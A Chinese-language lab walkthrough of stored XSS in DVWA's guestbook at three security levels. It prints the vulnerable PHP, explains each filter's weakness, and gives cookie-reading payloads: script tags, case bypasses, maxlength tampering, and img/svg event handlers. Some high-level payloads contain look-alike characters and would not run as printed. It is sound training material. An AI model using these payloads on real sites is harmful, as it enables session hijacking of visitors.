存储型 XSS(也叫持久化 XSS) 是 XSS 中危害最高的类型,核心特点是恶意代码被永久存储在服务端数据库 / 文件中,所有访问包含该恶意代码页面的用户都会自动触发攻击,无需用户主动点击恶意链接。
low
1、代码审计
<?php
// 检查是否点击了提交按钮(表单中按钮的name属性为btnSign)
if( isset( $_POST[ 'btnSign' ] ) ) {
// 注释:获取用户输入并去除首尾空格(trim函数)
// 从POST请求中获取留言内容(表单字段name为mtxMessage)
$message = trim( $_POST[ 'mtxMessage' ] );
// 从POST请求中获取用户名(表单字段name为txtName)
$name = trim( $_POST[ 'txtName' ] );
// 注释:净化留言内容输入(仅针对SQL注入)
// stripslashes:去除输入中的反斜杠(处理Magic Quotes开启时自动添加的转义符)
$message = stripslashes( $message );
// mysqli_real_escape_string:对特殊字符进行转义(如单引号、双引号、反斜杠等)
// 作用:防止SQL注入,确保输入能安全存入数据库,但对XSS无任何防护
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 注释:净化用户名输入(仅针对SQL注入)
// 同样使用mysqli_real_escape_string转义特殊字符,仅防SQL注入,不防XSS
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 注释:更新数据库(插入留言数据)
// 构造SQL插入语句,将转义后的$message和$name存入guestbook表的comment和name字段
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 执行SQL语句:若执行失败,输出数据库错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close(); // 注释:关闭数据库连接(此处被注释,未执行)
}
?>
仅防 SQL 注入,不防 XSS
2、攻击步骤
- 访问 DVWA 的留言板页面(
vulnerabilities/xss_s/); - 表单中输入:
- 用户名(txtName):
test - 留言内容(mtxMessage):
<script>alert('Stored XSS')</script>
- 用户名(txtName):
- 点击提交按钮(btnSign),数据通过 POST 请求发送到服务端;
- 服务端通过
mysqli_real_escape_string转义后,将恶意脚本存入guestbook表; - 当任何用户访问该留言板页面时,服务端从数据库读出该留言,未转义直接输出到页面;
- 浏览器解析页面时,执行
<script>alert('Stored XSS')</script>,触发 XSS。
3、窃取所有访问者的 Cookie(发送到攻击者服务器):换一次攻击先清除一下前面记录

<script>alert(document.cookie)</script>

<img src=x onerror=alert(document.cookie)>

medium
1、代码审计
<?php
// 检查是否点击了表单提交按钮(按钮的name属性为btnSign)
if( isset( $_POST[ 'btnSign' ] ) ) {
// 注释:获取用户输入并去除首尾空格(trim函数)
// 从POST请求中获取留言内容(表单字段name为mtxMessage)
$message = trim( $_POST[ 'mtxMessage' ] );
// 从POST请求中获取用户名(表单字段name为txtName)
$name = trim( $_POST[ 'txtName' ] );
// 注释:净化留言内容输入(防XSS+防SQL注入)
// 1. strip_tags:去除所有HTML标签(包括<script>、<img>等,核心XSS防护)
// 2. addslashes:给单引号、双引号、反斜杠、NULL字符添加反斜杠(辅助防SQL注入)
$message = strip_tags( addslashes( $message ) );
// 3. mysqli_real_escape_string:对SQL特殊字符转义(核心防SQL注入)
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 4. htmlspecialchars:将特殊字符转义为HTML实体(双重XSS防护,即使strip_tags失效也能兜底)
$message = htmlspecialchars( $message );
// 注释:净化用户名输入(仅基础防护,存在漏洞)
// 1. str_replace:仅将'<script>'字符串替换为空(区分大小写、仅过滤一次,基础XSS防护)
$name = str_replace( '<script>', '', $name );
// 2. mysqli_real_escape_string:对SQL特殊字符转义(核心防SQL注入)
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 注释:更新数据库(插入留言和用户名数据)
// 构造SQL插入语句,将处理后的$message和$name存入guestbook表
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 执行SQL语句:若失败,输出数据库错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close(); // 注释:关闭数据库连接(此处被注释,未执行)
}
?>
留言内容(message)强防护,用户名(name)弱防护
2、用户名可以进行xss攻击,构造用户名
<Script>alert(document.cookie)</Script>
但是发现被截断

3、解决用户名被截断
右键检查
找到元素
将maxlength的值改为100

4、大小写绕过
构造用户名
<Script>alert(document.cookie)</Script>


high
1、代码审计
<?php
// 检查是否点击了表单提交按钮(按钮的name属性为btnSign)
if( isset( $_POST[ 'btnSign' ] ) ) {
// 注释:获取用户输入并去除首尾空格(trim函数)
// 从POST请求中获取留言内容(表单字段name为mtxMessage)
$message = trim( $_POST[ 'mtxMessage' ] );
// 从POST请求中获取用户名(表单字段name为txtName)
$name = trim( $_POST[ 'txtName' ] );
// 注释:净化留言内容输入(防XSS+防SQL注入,防护强度拉满)
// 1. strip_tags:移除所有HTML标签(核心XSS防护,阻断标签注入)
// 2. addslashes:给单引号、双引号等添加反斜杠(辅助防SQL注入)
$message = strip_tags( addslashes( $message ) );
// 3. mysqli_real_escape_string:对SQL特殊字符转义(核心防SQL注入)
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 4. htmlspecialchars:将特殊字符转义为HTML实体(双重XSS兜底,即使strip_tags失效也能拦截)
$message = htmlspecialchars( $message );
// 注释:净化用户名输入(强化XSS防护+防SQL注入,仍有漏洞)
// 1. preg_replace:正则过滤所有<script>相关标签(核心XSS防护)
// 正则表达式拆解:/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
// - <:匹配标签起始符;(.*):匹配任意字符(0次或多次);s/c/r/i/p/t:按顺序匹配字母(不区分大小写)
// - i:修饰符,不区分大小写;作用:拦截所有`<script>`的变形(大小写、双写、插入字符等)
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
// 2. mysqli_real_escape_string:对SQL特殊字符转义(核心防SQL注入)
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// 注释:更新数据库(插入处理后的留言和用户名数据)
// 构造SQL插入语句,将$message和$name存入guestbook表的comment和name字段
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 执行SQL语句:若执行失败,输出数据库错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close(); // 注释:关闭数据库连接(此处被注释,未执行)
}
?>
将name字段的<script>过滤从 "简单字符串替换" 升级为 "正则强过滤"
2、<img>标签onerror事件
<img src=x οnerrοr=alert(document.cookie)>


2、<svg>标签onload事件
<svg οnlοad=alert('High_XSS')>

